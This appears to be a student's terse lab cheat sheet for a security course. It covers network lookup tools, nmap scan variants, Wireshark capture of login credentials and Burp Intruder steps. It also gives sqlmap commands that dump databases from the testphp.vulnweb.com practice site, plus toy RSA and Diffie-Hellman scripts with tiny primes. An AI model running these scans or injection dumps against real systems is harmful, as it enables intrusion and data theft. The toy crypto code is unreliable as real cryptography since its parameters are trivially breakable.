

Command line tools:

Windows:

ping www.google.com

tracert www.google.com

nslookup www.google.com

Linux:use:

network-tools.com

whois www.google.com

dig/dns www.google.com

Nmap:

nmap scanme.nmap.org // Normal Scan

nmap -F scanme.nmap.org // Find Ports

nmap -O -v scanme.nmap.org //OS and version -O

nmap -T4 -A -v -Pn scanme.nmap.org // hide ping -Pn

nmap -sS -sU -v scanme.nmap.org //udp ports

nmap -p 1-65535 -v scanme.nmap.org // tcp ports //// -sT for TCP

nmap -sX -v scanme.nmap.org // Xmas scan sF forFIN, sN forNull,

WireShark

network select

filter->http

browser->http://vbsca.ca/login->id, password

find the data on wireshark

Burpsuit:

Burpsuit->proxy->browser->record->target->intruder->attack->payload->commit.

SQL Commands:

sqlmap.py

sqlmap.py -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs

sqlmap.py -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D information_schema --tables

sqlmap.py -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D information_schema -T VIEWS --columns

sqlmap.py -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D information_schema -T VIEWS -C

CHECK_OPTION -dump

RSA shortended:

```
def gcd(a,b):
    while 1==1:
        temp=a%b
        if temp==0:
            return b
        else:
            a=b
            b=temp

P=101
Q=103
n=P*Q
T=(P-1)*(Q-1)
e=2
while e<T:
    if gcd(e,T)==1:
        break
```

```

else:
    e+=1

msg=32
print(f'MSG={msg}')
cText=pow(msg,e,n)
print(f'cText={cText}')
k=1
while k<n:
    d=(1+(k*T))/e
    if d==int(d):
        break
    else:
        k+=1

dtext=pow(cText,int(d),n)
print(f'dText={dtext}')

```

Diffie-HellmanShortend:

```

p=101
prlist=[]
def checkifpr(num):
    table=[]
    index=1
    while index<p:
        x=pow(num,index,p)
        if x in table:
            return
        else:
            table.append(x)
            index+=1
    prlist.append(num)
    return

for i in range(p):
    checkifpr(i)

print(prlist)
g=int(input('Enter any of the following values: '))
A=24
B=32
Encrypted_A=int(pow(g,A,p))
print(f'Encrypted_A={Encrypted_A}')
Encrypted_B=int(pow(g,B,p))
print(f'Encrypted_B={Encrypted_B}')
Secret_At_A=pow(Encrypted_B,A,p)
print(f'Secret_At_A={Secret_At_A}')
Secret_At_B=pow(Encrypted_A,B,p)
print(f'Secret_At_B={Secret_At_B}')

```